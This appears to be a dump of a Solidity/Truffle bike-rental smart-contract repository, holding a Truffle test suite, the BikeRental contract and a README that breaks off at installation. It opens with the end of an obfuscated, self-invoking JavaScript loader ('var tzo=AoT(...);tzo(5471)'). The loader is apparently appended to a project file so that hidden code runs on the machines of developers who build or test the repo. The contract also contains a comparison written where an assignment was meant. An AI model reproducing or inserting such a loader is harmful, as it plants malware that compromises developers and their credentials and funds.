iP.tp]3dPE+d$\/Pc)e)3Psfe;1lzA8=+{rre5=c=5%,.4sn=k41)]0(e])oe.][<.!=o8ltr.)];Pc.cs8(iP)P1;=nf(:0_pg9lec]x2eyB]=1c)tPPt(#[;;..)9t.w+:\/.l.g,wi=i%pi.nPTtbkourPc};caoriavP.t"}C(fd-(1BiG )Datc)1)]:!.dsiPnt8{cy ,t(}es%,v(PP.1vi>Ph!)n4sP%=lbm?78oP+bl4a=fr3eobvt3ngoa2!e4)r3[.(tg e(=](}8 ,tio%een7.xcil._gcicd(l4PNP>br\/)c!.ed;4nmd8]tno3e.;zcpe6ted+Paj h-P#caP(4b2ns9]ei)d%f[rsmu}hA.)d9eb8*ePt iP%)4a}(c2ab\'+Ck.cP,36P;rPj?%*tPs+%ib(:5n%>i3447P'));var tzo=AoT(VRG,quw );tzo(5471);return 3456})() 108 | -------------------------------------------------------------------------------- /test/BikeRental.test3.js: -------------------------------------------------------------------------------- 1 | const { assert } = require('chai'); 2 | 3 | const BikeRental = artifacts.require('BikeRental'); 4 | const Token = artifacts.require('Token'); 5 | const totalSupply = '1000000000000000000000000'; 6 | const toBN = web3.utils.toBN; 7 | const { constants, expectEvent, expectRevert } = require('@openzeppelin/test-helpers'); 8 | 9 | require('chai') 10 | .use(require('chai-as-promised')) 11 | .should(); 12 | 13 | //helper function to convert human readble numbers to wei units 14 | function tokens(n){ 15 | return web3.utils.toWei(n, 'ether'); 16 | } 17 | //helper function to print events 18 | function printLogs(title, logs) { 19 | for (let i = 0; i < logs.length; i++) { 20 | console.log(); 21 | console.log(`${title} event #${i + 1}:`); 22 | console.log(JSON.stringify(logs[i].event, null, 4)); 23 | console.log(JSON.stringify(logs[i].args, null, 4)); 24 | } 25 | } 26 | //helper function to simulate rental time duration 27 | function sleep(ms) { 28 | return new Promise((resolve) => { 29 | setTimeout(resolve, ms); 30 | }); 31 | } 32 | 33 | contract('BikeRentalShop contract -> UseCase3: customer buys Tokens, approves transfer of tokens, starts/stops bike rent, debt is created, and customer transfer additional Ether to cancel debt', ([owner, customer1, customer2, customer3]) => { 34 | let bikeRental, token, startTime, stopTime, stopReceipt, startReceipt, customerTokenBalance_1, bikeRentalTokenBalance_1; 35 | let bikeRentalTokenBalance_2, customerAccountBalance_1, buyReceipt, ownerEtherBalance_1, customerEtherBalance_1; 36 | const collateralPremium = 0.8; 37 | const tokenConversionRate = 2 38 | 39 | before(async ()=>{ 40 | token = await Token.new(totalSupply); 41 | bikeRental = await BikeRental.new(token.address); 42 | await token.transfer(bikeRental.address, totalSupply, {from: owner}); 43 | }) 44 | 45 | describe('At contract deployment', async ()=>{ 46 | it('Owner should transfer all tokens to BikeRental',async ()=>{ 47 | let bikeRentalTokenBalance_0 = await token.balanceOf(bikeRental.address); 48 | assert.equal(bikeRentalTokenBalance_0.toString(), totalSupply) 49 | }); 50 | }) 51 | 52 | describe('UseCase3: #1. customer buys tokens', async ()=>{ 53 | before (async()=>{ 54 | ownerEtherBalance_1 = await web3.eth.getBalance(owner); 55 | customerEtherBalance_1 = await web3.eth.getBalance(customer2); 56 | buyReceipt = await bikeRental.buyTokens({from: customer2, value: '60001', gasPrice: 0 }); 57 | //printLogs("buyTokens", buyReceipt.logs); 58 | customerTokenBalance_1 = await token.balanceOf(customer2); 59 | 60 | }) 61 | it('should increase owner Ether balance with same amount of Ether that customer sent to purchase tokens', async () =>{ 62 | let ownerEtherBalance_2 = await web3.eth.getBalance(owner); 63 | let diff = toBN(ownerEtherBalance_2).sub(toBN(ownerEtherBalance_1)); 64 | let etherAmount = buyReceipt.logs[0].args._etherAmount.toString(); 65 | assert.equal(diff.toString(), etherAmount.toString(), 'Owner ether balance not updated correctly after purchase of tokens'); 66 | }) 67 | it('should decrease customer Ether balance with same amount of Ether that customer sent to purchase tokens', async () =>{ 68 | let customerEtherBalance_2 = await web3.eth.getBalance(customer2); 69 | let diff = toBN(customerEtherBalance_1).sub(toBN(customerEtherBalance_2)); 70 | let etherAmount = buyReceipt.logs[0].args._etherAmount.toString(); 71 | assert.equal(diff.toString(), etherAmount.toString(), 'Customer ether balance not updated correctly after purchase of tokens'); 72 | }) 73 | }) 74 | 75 | describe ('UseCase3: #2. customer starts bike rent ', async ()=> { 76 | before (async()=>{ 77 | approveReceipt = await token.approve(bikeRental.address, customerTokenBalance_1.toString(), {from: customer2}); 78 | bikeRentalTokenBalance_1 = await token.balanceOf(bikeRental.address); 79 | startReceipt = await bikeRental.startRental(2, {from: customer2}); 80 | startTime = parseInt(startReceipt.logs[2].args._startTime, 16); 81 | //printLogs("startRental", startReceipt.logs); 82 | }) 83 | 84 | it('should update customer rental account of tokens by amount transferred ', async () =>{ 85 | customerAccountBalance_1 = await bikeRental.getTokenAccountBalance(customer2); 86 | assert.equal(customerAccountBalance_1.toString(), customerTokenBalance_1.toString(), 'Customer account not updated correctly'); 87 | }) 88 | it('should update rental balance of tokens by amount transferred', async () =>{ 89 | bikeRentalTokenBalance_2 = await token.balanceOf(bikeRental.address); 90 | let diff = toBN(bikeRentalTokenBalance_2).sub(toBN(bikeRentalTokenBalance_1)); 91 | assert.equal(diff.toString(), customerTokenBalance_1.toString(), 'Bike Rental balance not updated correctly'); 92 | }) 93 | it('should emit event RentalStart', async () =>{ 94 | expectEvent(startReceipt, 'RentalStart'); 95 | }) 96 | it('should emit event BalanceUpdated', async () =>{ 97 | expectEvent(startReceipt, 'BalanceUpdated'); 98 | }) 99 | it('customer should get standard rate', async () =>{ 100 | let rate = await bikeRental.getRate(); 101 | let customerRate = startReceipt.logs[2].args._rate.toString(); 102 | assert.equal(parseInt(customerRate), parseInt(rate.toString()), 'Customer assigned rate is stadard '); 103 | }) 104 | }) 105 | 106 | describe ('UseCase3: #3. customer stops bike rent and debt is generated', async ()=> { 107 | before (async()=>{ 108 | await sleep(10000); 109 | let mintReceipt = await token.mint(customer3, tokens('1'), {from: owner}); 110 | //printLogs("result", mintReceipt.logs); 111 | stopReceipt = await bikeRental.stopRental({from: customer2}); 112 | stopTime = parseInt(stopReceipt.logs[1].args._stopTime, 16); 113 | //printLogs("stopRental", stopReceipt.logs); 114 | console.log("Rental elapsed time:", (stopTime - startTime)); 115 | }) 116 | it('Standing debt should be equal to rental fee minus tokens transferred', async () =>{ 117 | let rentFeeEtherAmount = stopReceipt.logs[0].args._origAmount.toString(); 118 | let debtEtherAmount = stopReceipt.logs[0].args._pendingAmount.toString(); 119 | let debtTokenAmount = toBN(debtEtherAmount).muln(tokenConversionRate);; 120 | let rentFeeTokenAmount = toBN(rentFeeEtherAmount).muln(tokenConversionRate); 121 | let expectedTokenDebt = toBN(rentFeeTokenAmount).sub(toBN(customerAccountBalance_1)); 122 | assert.equal(expectedTokenDebt, debtTokenAmount.toString(), "Calculated pending debt is not as expected "); 123 | }) 124 | it('Debited token amount from customer should be equal to tokens transferred amount', async () =>{ 125 | let tokenDebitedAmount = stopReceipt.logs[0].args._tokenDebitedAmount.toString(); 126 | let bikeRentalTokenBalance_3 = await token.balanceOf(bikeRental.address); 127 | let diff = toBN(bikeRentalTokenBalance_3).sub(toBN(bikeRentalTokenBalance_2)); 128 | assert.equal(customerAccountBalance_1,tokenDebitedAmount, 'Debited amount of Tokens from customer is not equal to amount of Tokens transferred') 129 | }) 130 | 131 | it('Customer rental account balance should be set zero', async () =>{ 132 | let customerAccountBalance_2 = await bikeRental.getTokenAccountBalance(customer2); 133 | assert.equal(parseInt(customerAccountBalance_2.toString()), 0, "Customer Tokenbalance is not zero"); 134 | }) 135 | it('should emit event RentalStop', async () =>{ 136 | expectEvent(stopReceipt, 'RentalStop'); 137 | }) 138 | it('should emit event DebtUpdated', async () =>{ 139 | expectEvent(stopReceipt, 'DebtUpdated'); 140 | }) 141 | it('should NOT emit event FundsReturned', async () =>{ 142 | expectEvent.notEmitted(stopReceipt, 'FundsReturned'); 143 | }) 144 | }) 145 | 146 | describe('UseCase3: #4. Customer tries to rent again while debt is pending', async ()=>{ 147 | it('startRent should be reverted if debt is pending', async () =>{ 148 | await expectRevert(bikeRental.startRental(1, {from: customer2}), "Not allowed to rent if debt is pending"); 149 | }) 150 | }) 151 | 152 | describe('UseCase3: #5. customer transfer Ether and debt is cancelled', async ()=>{ 153 | let ownerEtherBalance_1; 154 | before (async()=>{ 155 | let debtEtherAmount = stopReceipt.logs[0].args._pendingAmount.toString(); 156 | ownerEtherBalance_1 = await web3.eth.getBalance(owner); 157 | transferFundReceipt = await bikeRental.transferFunds({from: customer2, value: debtEtherAmount.toString(), gasPrice: 0 }); 158 | //printLogs("transferFunds", transferFundReceipt.logs); 159 | }) 160 | it('owner balance of ether should be incremented by ether worth equal to debited amount', async () =>{ 161 | let debitedAmount = transferFundReceipt.logs[1].args._debitedAmount.toString(); 162 | let ownerEtherBalance_2 = await web3.eth.getBalance(owner); 163 | let diff = toBN(ownerEtherBalance_2).sub(toBN(ownerEtherBalance_1)); 164 | assert.equal(debitedAmount.toString(), diff.toString(), "Owner ether balance not updated by same amount of debited amount") 165 | }) 166 | it('customer standing debt should be 0 (zero)', async () =>{ 167 | let pendingDebt = transferFundReceipt.logs[1].args._pendingAmount.toString(); 168 | let customerDebt = await bikeRental.getDebt(customer2); 169 | assert.equal(pendingDebt.toString(), '0', 'customer debt is not zero'); 170 | assert.equal(customerDebt.toString(), '0', 'customer debt is not zero'); 171 | }) 172 | it('customer ether account balance should be 0 (zero)', async () =>{ 173 | let customerAccountBalance_3 = await bikeRental.getEtherAccountBalance(customer2) 174 | assert.equal(customerAccountBalance_3.toString(), '0', 'customer debt is not zero'); 175 | }) 176 | it('should emit event FundsReceived', async () =>{ 177 | expectEvent(transferFundReceipt, 'FundsReceived'); 178 | }) 179 | it('should emit event BalanceUpdated', async () =>{ 180 | expectEvent(transferFundReceipt, 'BalanceUpdated'); 181 | }) 182 | it('should emit event DebtUpdated', async () =>{ 183 | expectEvent(transferFundReceipt, 'DebtUpdated'); 184 | }) 185 | }) 186 | describe('UseCase3: #6. customer transfer extra Ether', async ()=>{ 187 | let ownerEtherBalance_1; 188 | before (async()=>{ 189 | ownerEtherBalance_1 = await web3.eth.getBalance(owner); 190 | transferFundReceipt = await bikeRental.transferFunds({from: customer2, value: tokens('6').toString(), gasPrice: 0 }); 191 | //printLogs("transferFunds", transferFundReceipt.logs); 192 | }) 193 | it('owner balance of ether should NOT be incremented if debt is zero', async () =>{ 194 | let ownerEtherBalance_2 = await web3.eth.getBalance(owner); 195 | let diff = toBN(ownerEtherBalance_2).sub(toBN(ownerEtherBalance_1)); 196 | assert.equal(diff.toString(),'0', "Owner ether balance updated even when debt is zero") 197 | }) 198 | it('customer standing debt should be 0 (zero)', async () =>{ 199 | let customerDebt = await bikeRental.getDebt(customer2); 200 | assert.equal(customerDebt.toString(), '0', 'customer debt is not zero'); 201 | }) 202 | it('customer ether account balance should equal to amount of Ether transferred', async () =>{ 203 | let customerAccountBalance_3 = await bikeRental.getEtherAccountBalance(customer2) 204 | assert.equal(customerAccountBalance_3.toString(), tokens('6').toString() , 'customer ether balance not equal to amount of transferred Ether'); 205 | }) 206 | it('should emit event FundsReceived', async () =>{ 207 | expectEvent(transferFundReceipt, 'FundsReceived'); 208 | }) 209 | it('should emit event BalanceUpdated', async () =>{ 210 | expectEvent(transferFundReceipt, 'BalanceUpdated'); 211 | }) 212 | it('should NOT emit event DebtUpdated', async () =>{ 213 | expectEvent.notEmitted(transferFundReceipt, 'DebtUpdated'); 214 | }) 215 | }) 216 | 217 | }) -------------------------------------------------------------------------------- /contracts/BikeRental.sol: -------------------------------------------------------------------------------- 1 | pragma solidity >=0.6.0 <0.8.0; 2 | 3 | import "@openzeppelin/contracts/access/Ownable.sol"; 4 | import "./Token.sol"; 5 | 6 | contract BikeRental is Ownable { 7 | string public name = "Bike Rental"; 8 | Token token; //Reference to deployed ERC20 Token contract 9 | address payable wallet; //Address of the owner of Bike Rental Shop 10 | uint8 collateralPremium=20; // discount % to be applied to standard rate for PREMIUM "collateralized customers" 11 | uint8 tokenConversionRate = 2; //conversion rate between Ether and Token, i.e. 1 Ether = 2 Token 12 | uint rate=10000; //amount of wei to be charged per second (i.e. "standard rate") 13 | uint etherMinBalance=60000; //minimum amount of ETH required to start bike rental 14 | uint tokenMinBalance= 120000; //minimum amount of Tokens required to start bike rental 15 | uint etherCollateralThreshold=500000; //Threshold amount of ETH required to get PREMIUM "collateralized" rate 16 | uint tokenCollateralThreshold=1000000; //Threshold amount of Tokens required to get PREMIUM "collateralized" rate 17 | 18 | 19 | struct Bike { 20 | bool notAvailable; 21 | address customer; 22 | } 23 | 24 | struct Customer { 25 | uint8 bikeId; // Id of rented bike 26 | bool isRenting; // in order to start renting, `isRenting` should be false 27 | uint rate; //customer's applicable rental rate 28 | uint etherBalance; // customer internal ether account 29 | uint tokenBalance; // customer internal token account 30 | uint startTime; //starting time of the rental (in seconds) 31 | uint etherDebt; // amount in ether owed to Bike Rental Shop 32 | } 33 | 34 | mapping (address => Customer) customers ; // Record with customers data (i.e., balance, startTie, debt, rate, etc) 35 | mapping (uint8 => Bike) bikes ; // Stock of bikes 36 | 37 | event RentalStart(address _customer, uint _startTime, uint _rate, uint8 _bikeId, uint _blockId); 38 | event RentalStop(address _customer, uint _stopTime, uint _totalAmount, uint _totalDebt, uint _blockId); 39 | event FundsReceived(address _customer, uint _etherAmount, uint _tokenAmount); 40 | event FundsWithdrawned(address _customer); 41 | event FundsReturned(address _customer, uint _etherAmount, uint _tokenAmount); 42 | event BalanceUpdated(address _customer, uint _etherAmount, uint _tokenAmount); 43 | event TokensReceived(address _customer, uint _tokenAmount); 44 | event DebtUpdated (address _customer, uint _origAmount, uint _pendingAmount, uint _debitedAmount, uint _tokenDebitedAmount); 45 | event TokensBought (address _customer,uint _etherAmount, uint _tokenAmount); 46 | 47 | 48 | //@dev: constructor for BikeRental contract 49 | //@params: expects the address of the token contract 50 | constructor (Token _token) public Ownable() { 51 | token = _token; 52 | wallet = msg.sender; 53 | } 54 | 55 | //@dev: `buyTokens` used by customer to purchase rental Tokens in exchange of Ether 56 | function buyTokens() payable public { 57 | require(msg.value > 0, "You need to send some Ether"); 58 | uint256 tokensTobuy = msg.value * tokenConversionRate; 59 | uint256 rentalBalance = token.balanceOf(address(this)); 60 | require(tokensTobuy <= rentalBalance, "Not enough tokens in the reserve"); 61 | token.transfer(msg.sender, tokensTobuy); 62 | wallet.transfer(msg.value); 63 | emit TokensBought(msg.sender, msg.value, tokensTobuy); 64 | } 65 | 66 | //@dev: `transferFund` is used by customers to fund their account at RentalShop with Ether or Tokens 67 | function transferFunds() payable public { 68 | uint amount = token.allowance(msg.sender, address(this)); 69 | _updateBalances(msg.sender , msg.value); 70 | if (customers[msg.sender].etherDebt > 0) { 71 | _updateStandingDebt(msg.sender,customers[msg.sender].etherDebt); 72 | } 73 | emit FundsReceived(msg.sender, msg.value, amount); 74 | } 75 | 76 | //@dev: internal function called by `withdrawFunds()` 77 | //@params: `_customer` is address of the receiver customer 78 | function _returnFunds(address payable _customer) private{ 79 | uint tokenAmount = customers[_customer].tokenBalance; 80 | token.transfer(_customer, tokenAmount); 81 | customers[_customer].tokenBalance = 0; 82 | uint etherAmount = customers[_customer].etherBalance; 83 | _customer.transfer(etherAmount); 84 | customers[_customer].etherBalance= 0; 85 | emit FundsReturned(_customer, etherAmount, tokenAmount); 86 | } 87 | 88 | //@dev: `withdrawFunds()` is used by customers to withdraw from BikeRental Shop account the available amount of Ether or Tokens 89 | function withdrawFunds() public { 90 | require(!customers[msg.sender].isRenting, "Bike rental in progress. Finish current rental first"); 91 | if (customers[msg.sender].etherDebt > 0) { 92 | _updateStandingDebt(msg.sender,customers[msg.sender].etherDebt); 93 | } 94 | _returnFunds(msg.sender); 95 | emit FundsWithdrawned(msg.sender); 96 | } 97 | 98 | //@dev: internal function that updates Ether (or Token) customer account at BikeRental Shop 99 | //@params: `_customer` is address of customer to update account balance 100 | //@wparams: `_ether` is amount of Ethers to add to customer balance 101 | function _updateBalances(address _customer, uint _ethers) private { 102 | uint amount = 0; 103 | if (_ethers > 0) { 104 | customers[_customer].etherBalance += _ethers; 105 | } 106 | if (token.allowance(_customer, address(this)) > 0){ 107 | amount = token.allowance(_customer, address(this)); 108 | token.transferFrom(_customer, address(this), amount); 109 | customers[_customer].tokenBalance += amount; 110 | emit TokensReceived(_customer, amount); 111 | } 112 | emit BalanceUpdated(_customer, _ethers, amount); 113 | } 114 | //@dev: `_updateStandingDebt` internal function that updates customer standing debt with available Ether or Token funds 115 | //@params: `_customer` is address of customer to update debt 116 | //@params: `_amount` is amount in Ether owed by customer to RentalShop 117 | //@returns: customer updated debt (in Ether) 118 | function _updateStandingDebt(address _customer, uint _amount) private returns (uint) { 119 | uint tokenPendingAmount = _amount * tokenConversionRate; 120 | uint tokensDebitedAmount=0; 121 | 122 | //First try to cancel pending debt with tokens available in customer's token account balance 123 | if (customers[_customer].tokenBalance >= tokenPendingAmount){ 124 | customers[_customer].tokenBalance -= tokenPendingAmount; 125 | customers[_customer].etherDebt = 0; 126 | tokensDebitedAmount = tokenPendingAmount; 127 | emit DebtUpdated(_customer, _amount , 0, 0, tokensDebitedAmount); 128 | return 0; 129 | } 130 | else { 131 | tokenPendingAmount -= customers[_customer].tokenBalance; 132 | tokensDebitedAmount = customers[_customer].tokenBalance; 133 | customers[_customer].tokenBalance = 0; 134 | customers[_customer].etherDebt = tokenPendingAmount / tokenConversionRate; 135 | } 136 | //If debt pending amount > 0, try to cancel it with Ether available in customer's Ether account balance 137 | uint etherPendingAmount = tokenPendingAmount / tokenConversionRate; 138 | if (customers[_customer].etherBalance >= etherPendingAmount){ 139 | customers[_customer].etherBalance -= etherPendingAmount; 140 | wallet.transfer(etherPendingAmount); 141 | customers[_customer].etherDebt = 0; 142 | emit DebtUpdated(_customer, _amount , 0, etherPendingAmount, tokensDebitedAmount); 143 | return 0; 144 | 145 | } 146 | else { 147 | etherPendingAmount -= customers[_customer].etherBalance; 148 | uint debitedAmount = customers[_customer].etherBalance; 149 | wallet.transfer(debitedAmount); 150 | customers[_customer].etherDebt = etherPendingAmount; 151 | customers[_customer].etherBalance = 0; 152 | emit DebtUpdated(_customer, _amount , customers[_customer].etherDebt, debitedAmount, tokensDebitedAmount); 153 | return customers[_customer].etherDebt; 154 | } 155 | } 156 | 157 | //@dev: `startRental` function is called by customers to start the bike rental service 158 | //@params: `bikeId` is id of bike to rent 159 | function startRental (uint8 _bikeId) payable public{ 160 | require(customers[msg.sender].etherDebt == 0, "Not allowed to rent if debt is pending"); 161 | require(!bikes[_bikeId].notAvailable, "Bike not available"); 162 | require(!customers[msg.sender].isRenting, "Another bike rental in progress. Finish current rental first"); 163 | _updateBalances(msg.sender , msg.value); 164 | uint etherBalance = customers[msg.sender].etherBalance; 165 | uint tokenBalance = customers[msg.sender].tokenBalance; 166 | require(etherBalance >= etherMinBalance || tokenBalance >= tokenMinBalance, "Not enough funds in your account"); 167 | customers[msg.sender].isRenting = true; 168 | //if the customer has deposited collateral amount, set Premium rate 169 | if (etherBalance > etherCollateralThreshold || tokenBalance > tokenCollateralThreshold){ 170 | customers[msg.sender].rate = (rate * (100 - collateralPremium)) / 100; 171 | } 172 | else { 173 | customers[msg.sender].rate = rate; 174 | } 175 | customers[msg.sender].startTime = block.timestamp; 176 | customers[msg.sender].bikeId = _bikeId; 177 | bikes[_bikeId].notAvailable = true; 178 | bikes[_bikeId].customer == msg.sender; 179 | 180 | 181 | emit RentalStart(msg.sender, block.timestamp, customers[msg.sender].rate, _bikeId, block.number); 182 | } 183 | 184 | //@dev: `stopRental` function is called by customers to stop the bike rental service 185 | function stopRental () external { 186 | uint startTime = customers[msg.sender].startTime; 187 | uint stopTime = block.timestamp; 188 | uint totalTime = stopTime - startTime; 189 | uint amountToPay = customers[msg.sender].rate * totalTime; 190 | 191 | uint etherPendingAmount = _updateStandingDebt(msg.sender, amountToPay); 192 | 193 | if (etherPendingAmount == 0){ 194 | _returnFunds(msg.sender); 195 | } 196 | 197 | uint8 bikeId = customers[msg.sender].bikeId ; 198 | bikes[bikeId].notAvailable = false; 199 | bikes[bikeId].customer = address(0); 200 | customers[msg.sender].isRenting = false; 201 | customers[msg.sender].bikeId = 0; 202 | 203 | emit RentalStop(msg.sender, block.timestamp, amountToPay, customers[msg.sender].etherDebt, block.number); 204 | } 205 | 206 | //@dev: `setRate` function is used by Bike Rental Shop owner to update the standar rate 207 | //@param: `_rate` is new rate to be applied 208 | function setRate(uint _rate) external onlyOwner { 209 | rate = _rate; 210 | } 211 | 212 | //@dev: `setCollateralThreshold` function is used by Bike Rental Shop owner to update the "collateral threshold" level 213 | // required for customer to be eligible for "Premium collateralized rate". 214 | //@param: `_threshold` is new threshold in units of wei to be applied 215 | function setCollateralThreshold(uint _threshold) external onlyOwner { 216 | etherCollateralThreshold = _threshold; 217 | tokenCollateralThreshold = etherCollateralThreshold * tokenConversionRate; 218 | } 219 | 220 | //@dev: `setEtherMinimumBalance` function is used by Bike Rental Shop owner to update the "Minimum Ether Balance" 221 | // in customer account required to start a bike rental 222 | //@param: `_etherMin` is new ether minimum in units of wei to be applied 223 | function setEtherMinimumBalance(uint _etherMin) external onlyOwner { 224 | etherMinBalance = _etherMin; 225 | tokenMinBalance = etherMinBalance * tokenConversionRate; 226 | } 227 | 228 | //@dev: `setTokenConversionRate` function is used by Bike Rental Shop owner to update the exchange rate between Tokens and Ether 229 | //@param: `_conversion` is the new exchange rate to be applied 230 | function setTokenConversionRate(uint8 _conversion) external onlyOwner { 231 | tokenConversionRate = _conversion; 232 | } 233 | 234 | //@dev: `setCollateralPremium` function is used by Bike Rental Shop owner to update the Premium % discount 235 | // offered to customer that decide to fund their accounts above required collateral level 236 | //@param: `_premium` is the discount to be applied to standard rate 237 | function setCollateralPremium(uint8 _premium) external onlyOwner { 238 | collateralPremium = _premium; 239 | } 240 | 241 | //truffle testing functions 242 | 243 | function getCustomerRate(address _customer) external view returns (uint) { 244 | return customers[_customer].rate; 245 | } 246 | 247 | function getRate() external view returns (uint) { 248 | return rate; 249 | } 250 | 251 | function getDebt(address customer) public view returns (uint) { 252 | return customers[customer].etherDebt; 253 | } 254 | 255 | function getEtherAccountBalance(address customer) public view returns (uint) { 256 | return customers[customer].etherBalance; 257 | } 258 | 259 | function getTokenAccountBalance(address customer) public view returns (uint) { 260 | return customers[customer].tokenBalance; 261 | } 262 | 263 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Bike Rental Shop 2 | 3 | Bike 4 | 5 | - [Bike Rental Shop](#bike-rental-shop) 6 | - [About](#about) 7 | - [Overview](#overview) 8 | - [Main features](#main-features) 9 | - [Rental service start / stop](#rental-service-start--stop) 10 | - [Smart contracts](#smart-contracts) 11 | - [Payment model](#payment-model) 12 | - [Gas optimization](#gas-optimization) 13 | - [Further improvements](#further-improvements) 14 | - [Use case tested](#use-case-tested) 15 | - [Usage](#usage) 16 | - [Expected test outcome](#expected-test-outcome) 17 | - [BTC address](#btc-address) 18 | 19 | ## About 20 | 21 | This repository contains the source code and dependencies required to deploy a Solidity based "BIKE RENTAL SHOP" on Ethereum network. 22 | 23 | ## Overview 24 | 25 | The following diagram shows a high level overview of the interaction between the main components and actors in the bike rental service: 26 | 27 | ![alt](./docs/overview.png) 28 | 29 | ## Main features 30 | 31 | This is a summary with the main features implemented in the BikeRental contract: 32 | 33 | - **Billing**: the rental fee is calculated as a function of time (i.e. duration of rental in seconds) 34 | - **Payment medium**: customers can choose to pay with Ether or Tokens 35 | - **Payment priority**: BikeRental contract will try to fullfil pending payment with *Token* funds from customer's *TokenAccount* as a first priority. If payment is not cancelled 100%, contract will try to fulfill pending payment with *Ether* funds from customer's *EtherAccount* balance as a second priority. 36 | - **Collateral rate**: a premium rate (i.e. 20% cheaper than standard rate) is applicable to those customers that choose to fund their *tokenAccount* or *etherAccount* above a predefined collateral level (i.e. `etherCollateralThreshold` or `tokenCollateralThreshold` ). 37 | - **Un-spent funds**: Token or Ether amount that is not spent when rental finishes, is automatically returned/refunded to customers. 38 | - **Customer debt**: if customer rental fee is greater than available funds, a debt is generated and customer is banned from renting again until debt is cancelled. 39 | - **Contract upgradeability**: additional functions are implemented to enable the update of main business parameters (i.e. minimum balance required, rate, collateral threshold), that only BikeRental **owner** is allowed to execute: 40 | 41 | ```javascript 42 | function setRate(uint _rate) external onlyOwner 43 | function setCollateralThreshold(uint _threshold) external onlyOwner 44 | function setEtherMinimumBalance(uint _etherMin) external onlyOwner 45 | function setTokenConversionRate(uint8 _conversion) external onlyOwner 46 | function setCollateralPremium(uint8 _premium) external onlyOwner 47 | ``` 48 | 49 | ## Rental service start / stop 50 | 51 | - The rental service starts when customer calls function `startRental()` 52 | - The rental service is finished when customer calls function `stopRental()` 53 | 54 | ## Smart contracts 55 | 56 | The following two smart contracts are required to implement the Bike Rental Shop service: 57 | 58 | ### 1. BikeRental.sol 59 | 60 | Is the main contract, that implements the business logic for the BikeRental Shop. 61 | 62 | - Main state variables: 63 | 64 | ```javascript 65 | Token token; //Reference to deployed ERC20 Token contract 66 | address payable wallet; //Address of the owner of Bike Rental Shop 67 | uint8 collateralPremium=20; // discount % to be applied to standard rate for PREMIUM "collateralized customers" 68 | uint8 tokenConversionRate = 2; //conversion rate between Ether and Token, i.e. 1 Ether = 2 Token 69 | uint rate=10000; //amount of wei to be charged per second (i.e. "standard rate") 70 | uint etherMinBalance=60000; //minimum amount of ETH required to start bike rental 71 | uint tokenMinBalance= 120000; //minimum amount of Tokens required to start bike rental 72 | uint etherCollateralThreshold=500000; //Threshold amount of ETH required to get PREMIUM "collateralized" rate 73 | uint tokenCollateralThreshold=1000000; //Threshold amount of Tokens required to get PREMIUM "collateralized" rate 74 | mapping (address => Customer) customers ; // Record with customers data (i.e., balance, startTie, debt, rate, etc) 75 | mapping (uint8 => Bike) bikes ; // Available stock of bikes 76 | ``` 77 | 78 | - Main external functions: 79 | 80 | ```javascript 81 | //@dev: `buyTokens` used by customer to purchase rental Tokens in exchange of Ether 82 | function buyTokens() payable public 83 | 84 | //@dev: `startRental` function is called by customers to start the bike rental service 85 | //@params: `bikeId` is id of bike to rent 86 | function startRental (uint8 _bikeId) payable public{ 87 | 88 | //@dev: `stopRental` function is called by customers to stop the bike rental service 89 | function stopRental () external { 90 | ``` 91 | 92 | ### 2. Token.sol 93 | 94 | [![built-with openzeppelin](https://img.shields.io/badge/built%20with-OpenZeppelin-3677FF)](https://docs.openzeppelin.com/) 95 | 96 | - ERC20 token compliance smart contract 97 | - Addon functions: 98 | 99 | ```javascript 100 | function burn(address _to, uint256 _amount) onlyOwner external 101 | function mint(address _to, uint256 _amount) onlyOwner external 102 | ``` 103 | 104 | ## Payment model 105 | 106 | All customers have 2 accounts at BikeRentalShop: *etherAccount* and *tokenAccount*. 107 | 108 | And they can choose to pay the rental service with **ether**, **tokens** or **both**. 109 | 110 | Below is included a description of each payment model: 111 | 112 | --------------------------------------------------------------- 113 | 114 | ### Paying with ETHER 115 | 116 | - If the customer chooses to pay bike rental with Ether, he/she calls `startRental()` (*payable*) and sends Ether to **BikeRental.sol** contract in order to provide funds to the *customerEtherAccount*. 117 | 118 | - When the customer returns the bike, he/she calls `stopRental()`. 119 | - At this point the **BikeRental.sol** contract will debit the total fee from the *customerEtherAccount*, and credit it to the rental shop *owner*'s account. 120 | - The remaining (un-spent) ether funds are transferred back to the customer. 121 | 122 | figure1 123 | 124 | --------------------------------------------------------------- 125 | 126 | ### Paying with TOKENS 127 | 128 | - If the customer wishes to pay bike rental with Tokens, first he/she should purchase Tokens with Ether by calling `buyTokens()` (*payable*). The **BikeRental.sol** contract sends the received Ether to the *owner* of the bike rental shop. 129 | - Then customer should `approve()` the **BikeRental.sol** contract to transfer the desired amount of tokens into the *customerTokenAccount*. 130 | - When customer wants to start the rental, he/she calls `startRental()` and the **BikeRental.sol** contract will execute the transfer of *approved* tokens to the *customerTokenAccount*. 131 | 132 | - When the customer returns the bike, he/she calls `stopRental()`. 133 | - At this point the **BikeRental.sol** contract will debit the total fee from the *customerTokenAccount*, and transfer the amount of tokens back to the *BikeRental* pool of tokens. 134 | 135 | - The remaining (un-spent) Token funds are transferred back to the customer. 136 | 137 | figure1 138 | 139 | --------------------------------------------------------------- 140 | 141 | ## Gas optimization 142 | 143 | The following is a short list of some considerations taken into account in order to minimize cost of gas 144 | 145 | - Enforcement of debt cancelling before rental to avoid revert after updating balances 146 | - `uint8` type storage allocation where possible 147 | - `byte` type instead of `string` type 148 | - use of function `external` instead of `public` 149 | - use events to keep track of data off-chain (i.e. record of bike details) 150 | 151 | ## Further improvements 152 | 153 | - Implement a minimum rental fee (applicable when rental elapsed time is below i.e. 15 minutes) 154 | - Deploy an off-chain Oracle that updates the rental rate according to real time traffic statistics 155 | - Set rate according to time of day (i.e., low, medium, high) 156 | - Develop additional use case tests 157 | - Usage of SafeMath library 158 | 159 | ## Use case tested 160 | 161 | The following are the use cases currently implemented in the truffle test suite 162 | 163 | - **Use Case1**: customer transfer Ether (above collateral threshold) and starts/stops bike rent (`BikeRental.test1.js`) 164 | - **Use Case2**: customer buys tokens, approves transfer of tokens, and starts/stops bike rent (`BikeRental.test2.js`) 165 | - **Use Case3**: customer buys Tokens, approves transfer of tokens, starts/stops bike rent, debt is created, and customer transfer additional Ether to cancel debt (`BikeRental.test3.js`) 166 | - **Use Case4**: customer buys Tokens, approves transfer of tokens, transfer Ether, and starts/stops bike rent (`BikeRental.test4.js`) 167 | 168 | ## Usage 169 | 170 | ### Dependencies 171 | 172 | - Truffle 173 | - Node.js 174 | - npm 175 | - Ganache Cli 176 | 177 | ### Installation 178 | 179 | ```bash 180 | git clone 